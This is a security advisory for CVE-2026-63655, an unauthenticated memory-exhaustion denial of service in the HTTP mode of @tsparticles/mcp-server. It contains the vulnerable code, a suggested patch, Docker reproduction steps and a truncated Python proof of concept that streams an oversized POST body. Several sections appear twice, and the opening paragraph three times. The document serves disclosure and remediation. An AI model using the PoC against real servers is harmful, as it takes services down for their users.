CVE-2026-63655

tsParticles is a TypeScript library for creating highly customizable particle animations. Prior to 4.3.1, the HTTP mode of @tsparticles/mcp-server accepts unauthenticated POST /mcp requests in integrations/mcp-server/src/index.ts and accumulates every request-body chunk in a Buffer[] without a cumulative size limit before Buffer.concat and JSON.parse. A remote attacker can stream an arbitrarily large body to exhaust Node.js process memory and terminate the service, including in the official Docker configuration that exposes HTTP mode on 0.0.0.0:3000. Confidentiality and integrity are not affected. This issue is fixed in version 4.3.1.

tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS

Summary

The HTTP server mode of @tsparticles/mcp-server accumulates all incoming request body chunks into an in-memory Buffer[] array with no size limit before calling JSON.parse. An unauthenticated remote attacker can stream an arbitrarily large body to POST /mcp, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (--port 3000 on 0.0.0.0), making this exploitable without any special configuration in containerized deployments.

Details

The vulnerability exists in integrations/mcp-server/src/index.ts at lines 399–407. The POST /mcp request handler resolves a Promise that pushes every incoming data chunk into a Buffer[] array without checking the cumulative size, a Content-Length header, or any other guard:

// integrations/mcp-server/src/index.ts:399-407
if (req.method === "POST" && req.url === "/mcp") {
  const body = await new Promise<string>((resolve, reject) => {
    const chunks: Buffer[] = [];
    req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));  // no size guard
    req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
    req.on("error", reject);
  });

  const parsedBody = body ? JSON.parse(body) : undefined;

The complete data flow leading to exploitation:

1. index.ts:390 — HTTP server is created.
2. index.ts:399 — POST /mcp branch is entered; no authentication is performed.
3. index.ts:401-403 — Every chunk is appended to chunks[] without any byte-count check.
4. index.ts:407 — The concatenated buffer is passed to JSON.parse.
5. index.ts:416 — The server listens on 0.0.0.0, exposing it on all network interfaces.

There is no Content-Length validation, no body-size middleware, and no 413 Payload Too Large response in the server source. The official Dockerfile (integrations/mcp-server/Dockerfile) sets CMD ["node", "dist/index.js", "--port", "3000"], meaning Docker deployments run in HTTP mode by default without any additional opt-in.

A suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded:

--- a/integrations/mcp-server/src/index.ts
+++ b/integrations/mcp-server/src/index.ts
@@
 import { createServer } from "node:http";
 import { randomUUID } from "node:crypto";

 const PACKAGE_VERSION = "0.1.0";
+const maxRequestBodyBytes = 1024 * 1024;
@@
     if (req.method === "POST" && req.url === "/mcp") {
       const body = await new Promise<string>((resolve, reject) => {
         const chunks: Buffer[] = [];
-        req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));
+        let received = 0;
+        req.on("data", (chunk) => {
+          received += chunk.length;
+          if (received > maxRequestBodyBytes) {
+            req.destroy(new Error("Request body too large"));
+            return;
+          }
+          chunks.push(Buffer.from(chunk));
+        });
         req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
         req.on("error", reject);
       });

PoC

Environment setup:

# Build the Docker image from the repository root
docker build \
  -f /path/to/vuln-001/Dockerfile \
  -t vuln001-mcp \
  /path/to/tsparticles-repo

# Run with a 256 MB memory cap (matching the dynamic reproduction)
docker run -d \
  -p 127.0.0.1:3000:3000 \
  --memory=256m --memory-swap=256m \
  --name vuln001-mcp \
  vuln001-mcp

Exploit (Python PoC — poc.py):

The script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its Buffer[] array.

python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp

Equivalent minimal request:

import socket

s = socket.create_connection(("127.0.0.1", 3000))
headers = (
    "POST /mcp HTTP/1.1\r\n"
    "Host: 127.0.0.1:3000\r\n"
   …

tsParticles is a TypeScript library for creating highly customizable particle animations. Prior to 4.3.1, the HTTP mode of @tsparticles/mcp-server accepts unauthenticated POST /mcp requests in integrations/mcp-server/src/index.ts and accumulates every request-body chunk in a Buffer[] without a cumulative size limit before Buffer.concat and JSON.parse. A remote attacker can stream an arbitrarily large body to exhaust Node.js process memory and terminate the service, including in the official Docker configuration that exposes HTTP mode on 0.0.0.0:3000. Confidentiality and integrity are not affected. This issue is fixed in version 4.3.1.

tsParticles is a TypeScript library for creating highly customizable particle animations. Prior to 4.3.1, the HTTP mode of @tsparticles/mcp-server accepts unauthenticated POST /mcp requests in integrations/mcp-server/src/index.ts and accumulates every request-body chunk in a Buffer[] without a cumulative size limit before Buffer.concat and JSON.parse. A remote attacker can stream an arbitrarily large body to exhaust Node.js process memory and terminate the service, including in the official Docker configuration that exposes HTTP mode on 0.0.0.0:3000. Confidentiality and integrity are not affected. This issue is fixed in version 4.3.1.

Summary

The HTTP server mode of @tsparticles/mcp-server accumulates all incoming request body chunks into an in-memory Buffer[] array with no size limit before calling JSON.parse. An unauthenticated remote attacker can stream an arbitrarily large body to POST /mcp, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (--port 3000 on 0.0.0.0), making this exploitable without any special configuration in containerized deployments.

Details

The vulnerability exists in integrations/mcp-server/src/index.ts at lines 399–407. The POST /mcp request handler resolves a Promise that pushes every incoming data chunk into a Buffer[] array without checking the cumulative size, a Content-Length header, or any other guard:

// integrations/mcp-server/src/index.ts:399-407
if (req.method === "POST" && req.url === "/mcp") {
  const body = await new Promise<string>((resolve, reject) => {
    const chunks: Buffer[] = [];
    req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));  // no size guard
    req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
    req.on("error", reject);
  });

  const parsedBody = body ? JSON.parse(body) : undefined;

The complete data flow leading to exploitation:

1. index.ts:390 — HTTP server is created.
2. index.ts:399 — POST /mcp branch is entered; no authentication is performed.
3. index.ts:401-403 — Every chunk is appended to chunks[] without any byte-count check.
4. index.ts:407 — The concatenated buffer is passed to JSON.parse.
5. index.ts:416 — The server listens on 0.0.0.0, exposing it on all network interfaces.

There is no Content-Length validation, no body-size middleware, and no 413 Payload Too Large response in the server source. The official Dockerfile (integrations/mcp-server/Dockerfile) sets CMD ["node", "dist/index.js", "--port", "3000"], meaning Docker deployments run in HTTP mode by default without any additional opt-in.

A suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded:

--- a/integrations/mcp-server/src/index.ts
+++ b/integrations/mcp-server/src/index.ts
@@
 import { createServer } from "node:http";
 import { randomUUID } from "node:crypto";

 const PACKAGE_VERSION = "0.1.0";
+const maxRequestBodyBytes = 1024 * 1024;
@@
     if (req.method === "POST" && req.url === "/mcp") {
       const body = await new Promise<string>((resolve, reject) => {
         const chunks: Buffer[] = [];
-        req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));
+        let received = 0;
+        req.on("data", (chunk) => {
+          received += chunk.length;
+          if (received > maxRequestBodyBytes) {
+            req.destroy(new Error("Request body too large"));
+            return;
+          }
+          chunks.push(Buffer.from(chunk));
+        });
         req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
         req.on("error", reject);
       });

PoC

Environment setup:

# Build the Docker image from the repository root
docker build \
  -f /path/to/vuln-001/Dockerfile \
  -t vuln001-mcp \
  /path/to/tsparticles-repo

# Run with a 256 MB memory cap (matching the dynamic reproduction)
docker run -d \
  -p 127.0.0.1:3000:3000 \
  --memory=256m --memory-swap=256m \
  --name vuln001-mcp \
  vuln001-mcp

Exploit (Python PoC — poc.py):

The script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its Buffer[] array.

python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp

Equivalent minimal request:

import socket

s = socket.create_connection(("127.0.0.1", 3000))
headers = (
    "POST /mcp HTTP/1.1\r\n"
    "Host: 127.0.0.1:3000\r\n"
   …